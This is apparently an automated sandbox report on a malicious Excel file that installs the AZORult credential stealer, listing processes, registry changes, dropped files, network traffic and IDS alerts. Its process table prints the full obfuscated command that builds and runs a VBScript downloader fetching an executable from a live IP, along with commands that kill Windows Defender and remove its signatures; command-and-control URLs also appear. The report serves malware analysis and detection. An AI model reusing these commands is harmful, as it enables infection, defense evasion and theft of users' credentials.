| File name: | macro1.xls |
| Full analysis: | https://app.any.run/tasks/43946ffa-7076-46a6-bff2-2962bae15781 |
| Verdict: | Malicious activity |
| Threats: | AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat. |
| Analysis date: | May 15, 2019, 18:05:13 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Wed May 15 14:17:11 2019, Security: 0 |
| MD5: | 3E899273F9F64824B4DCA6F76489F838 |
| SHA1: | 920BFB6AF30274DED15008418752EE0843107254 |
| SHA256: | 605D446A2E183D025F9175F8829025EEF9FF45A59F941E2B0CACC1150B754BD7 |
| SSDEEP: | 768:/Sk3hOdsylKlgxopeiBNhZFGzE+cL2kdAJhVpAZ8Tm:qk3hOdsylKlgxopeiBNhZFGzE+cL2kd0 |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3292)
Starts MSHTA.EXE for opening HTA or HTMLS files
- EXCEL.EXE (PID: 3292)
Changes settings of System certificates
- mshta.exe (PID: 2656)
Changes the autorun value in the registry
- mshta.exe (PID: 3036)
- AVASTINT.EXE (PID: 1760)
Uses TASKKILL.EXE to kill antiviruses
- forfiles.exe (PID: 3836)
- forfiles.exe (PID: 988)
AZORULT was detected
- AVASTINT.EXE (PID: 2800)
Application was dropped or rewritten from another process
- AVASTINT.EXE (PID: 2800)
- AVASTINT.EXE (PID: 1760)
Actions looks like stealing of personal data
- AVASTINT.EXE (PID: 2800)
Connects to CnC server
- AVASTINT.EXE (PID: 2800)
Downloads executable files from the Internet
- WScript.exe (PID: 3452)
Downloads executable files from IP
- WScript.exe (PID: 3452)
Loads dropped or rewritten executable
- AVASTINT.EXE (PID: 2800)
SUSPICIOUS
Adds / modifies Windows certificates
- mshta.exe (PID: 2656)
Application launched itself
- mshta.exe (PID: 2656)
- AVASTINT.EXE (PID: 1760)
Creates files in the user directory
- mshta.exe (PID: 3036)
- AVASTINT.EXE (PID: 2800)
Executes scripts
- cmd.exe (PID: 1132)
Uses TASKKILL.EXE to kill Office Apps
- cmd.exe (PID: 2884)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 2884)
Starts MSHTA.EXE for opening HTA or HTMLS files
- mshta.exe (PID: 2656)
Starts CMD.EXE for commands execution
- mshta.exe (PID: 3036)
- AVASTINT.EXE (PID: 1760)
- AVASTINT.EXE (PID: 2800)
Executable content was dropped or overwritten
- WScript.exe (PID: 3452)
- AVASTINT.EXE (PID: 2800)
Reads the cookies of Mozilla Firefox
- AVASTINT.EXE (PID: 2800)
Reads the cookies of Google Chrome
- AVASTINT.EXE (PID: 2800)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3292)
Reads internet explorer settings
- mshta.exe (PID: 2656)
- mshta.exe (PID: 3036)
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TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| Author: | - |
|---|---|
| LastModifiedBy: | - |
| Software: | Microsoft Excel |
| CreateDate: | 2015:06:05 18:17:20 |
| ModifyDate: | 2019:05:15 13:17:11 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | Sheet1 |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
Total processes
82
Monitored processes
46
Malicious processes
9
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 300 | /f /im MpCmdRun.exe | C:\Windows\system32\taskkill.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 456 | MpCmdRun.exe -removedefinitions -dynamicsignatures | C:\Program Files\Windows Defender\MpCmdRun.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Malware Protection Command Line Utility Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 680 | /f /im MpCmdRun.exe | C:\Windows\system32\taskkill.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 768 | /f /im MSASCuiL.exe | C:\Windows\system32\taskkill.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 792 | timeout 12 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 832 | /f /im MpCmdRun.exe | C:\Windows\system32\taskkill.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 988 | forfiles /c "taskkill /f /im MpCmdRun.exe" | C:\Windows\system32\forfiles.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ForFiles - Executes a command on selected files Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 1004 | taskkill /f /im POWERPNT.EXE | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 1132 | "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo AmmEiqWkls = "http://142.11.206.184/admin.exe">>UpdateWindow.vbs &@echo ZIMMER = L0u("NcN`aV[a;ReR")>>UpdateWindow.vbs &@echo Set ZIMMERing = CreateObject(L0u("Z`eZY?;eZYUaa]"))>>UpdateWindow.vbs &@echo ZIMMERing.Open L0u("TRa"), AmmEiqWkls, False>>UpdateWindow.vbs &@echo ZIMMERing.send ("")>>UpdateWindow.vbs &@echo Set FatherOFVidus = CreateObject(L0u("NQ\QO;`a_RNZ"))>>UpdateWindow.vbs &@echo FatherOFVidus.Open>>UpdateWindow.vbs &@echo FatherOFVidus.Type = 1 >>UpdateWindow.vbs &@echo FatherOFVidus.Write ZIMMERing.ResponseBody>>UpdateWindow.vbs & @echo FatherOFVidus.Position = 0 >>UpdateWindow.vbs &@echo FatherOFVidus.SaveToFile ZIMMER, 2 >>UpdateWindow.vbs &@echo FatherOFVidus.Close>>UpdateWindow.vbs &@echo function L0u(K4d) >> UpdateWindow.vbs &@echo For Dintannaa = 1 To Len(K4d) >>UpdateWindow.vbs &@echo BuEllWsWam = Mid(K4d, Dintannaa, 1) >>UpdateWindow.vbs &@echo BuEllWsWam = Chr(Asc(BuEllWsWam)- 13) >>UpdateWindow.vbs &@echo VuzEgEas = VuzEgEas + BuEllWsWam >> UpdateWindow.vbs &@echo Next >>UpdateWindow.vbs &@echo L0u = VuzEgEas >>UpdateWindow.vbs &@echo End Function >>UpdateWindow.vbs& UpdateWindow.vbs &dEl UpdateWindow.vbs & timeout 12 & AVASTINT.EXE | C:\Windows\System32\cmd.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 1564 | TimeOut 1 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
1 181
Read events
1 016
Write events
154
Delete events
11
Modification events
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | wz! |
Value: 777A2100DC0C0000010000000000000000000000 | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: DC0C00007A4DB8CD480BD50100000000 | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | wz! |
Value: 777A2100DC0C0000010000000000000000000000 | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3292) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\12018F |
| Operation: | write | Name: | 12018F |
Value: 04000000DC0C00002C00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C006D006100630072006F0031002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000906984CF480BD5018F0112008F01120000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
50
Suspicious files
2
Text files
27
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3292 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRFAF7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3292 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF9D1D498569DAF3BD.TMP | — | |
MD5:— | SHA256:— | |||
| 2656 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\adminhelpdesk[1].html | html | |
MD5:— | SHA256:— | |||
| 2656 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\authorization[1].css | binary | |
MD5:68B329DA9893E34099C7D8AD5CB9C940 | SHA256:01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B | |||
| 3452 | WScript.exe | C:\Users\Public\AVASTINT.EXE | executable | |
MD5:— | SHA256:— | |||
| 3452 | WScript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\admin[1].exe | executable | |
MD5:— | SHA256:— | |||
| 2656 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\1961721879-ieretrofit[1].js | html | |
MD5:— | SHA256:— | |||
| 1132 | cmd.exe | C:\Users\Public\UpdateWindow.vbs | text | |
MD5:— | SHA256:— | |||
| 456 | MpCmdRun.exe | C:\Users\admin\AppData\Local\Temp\MpCmdRun.log | text | |
MD5:— | SHA256:— | |||
| 3036 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\A766dj3K[1].txt | html | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
4
TCP/UDP connections
9
DNS requests
5
Threats
14
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3452 | WScript.exe | GET | 200 | 142.11.206.184:80 | http://142.11.206.184/admin.exe | US | executable | 618 Kb | suspicious |
2800 | AVASTINT.EXE | POST | 200 | 194.32.79.169:80 | http://phonetechindia.tk/user2/Panel/index.php | unknown | txt | 4.27 Mb | malicious |
2800 | AVASTINT.EXE | POST | 200 | 194.32.79.169:80 | http://phonetechindia.tk/user2/Panel/index.php | unknown | text | 5 b | malicious |
3036 | mshta.exe | GET | 200 | 104.20.209.21:80 | http://pastebin.com/raw/A766dj3K | US | html | 1.26 Kb | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2656 | mshta.exe | 216.58.207.33:443 | thisisredirectionpageonly.blogspot.com | Google Inc. | US | whitelisted |
2656 | mshta.exe | 216.58.208.41:443 | www.blogger.com | Google Inc. | US | whitelisted |
3036 | mshta.exe | 104.20.209.21:80 | pastebin.com | Cloudflare Inc | US | shared |
3452 | WScript.exe | 142.11.206.184:80 | — | Hostwinds LLC. | US | suspicious |
2800 | AVASTINT.EXE | 194.32.79.169:80 | phonetechindia.tk | — | — | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
thisisredirectionpageonly.blogspot.com |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
pastebin.com |
| malicious |
phonetechindia.tk |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3036 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
3452 | WScript.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3452 | WScript.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 |
3452 | WScript.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3452 | WScript.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 |
3452 | WScript.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2800 | AVASTINT.EXE | A Network Trojan was detected | ET TROJAN AZORult Variant.4 Checkin M2 |
2800 | AVASTINT.EXE | A Network Trojan was detected | MALWARE [PTsecurity] AZORult client request |
2800 | AVASTINT.EXE | A Network Trojan was detected | MALWARE [PTsecurity] AZORult.Stealer HTTP Header |
2800 | AVASTINT.EXE | Potentially Bad Traffic | ET POLICY HTTP Request to a *.tk domain |
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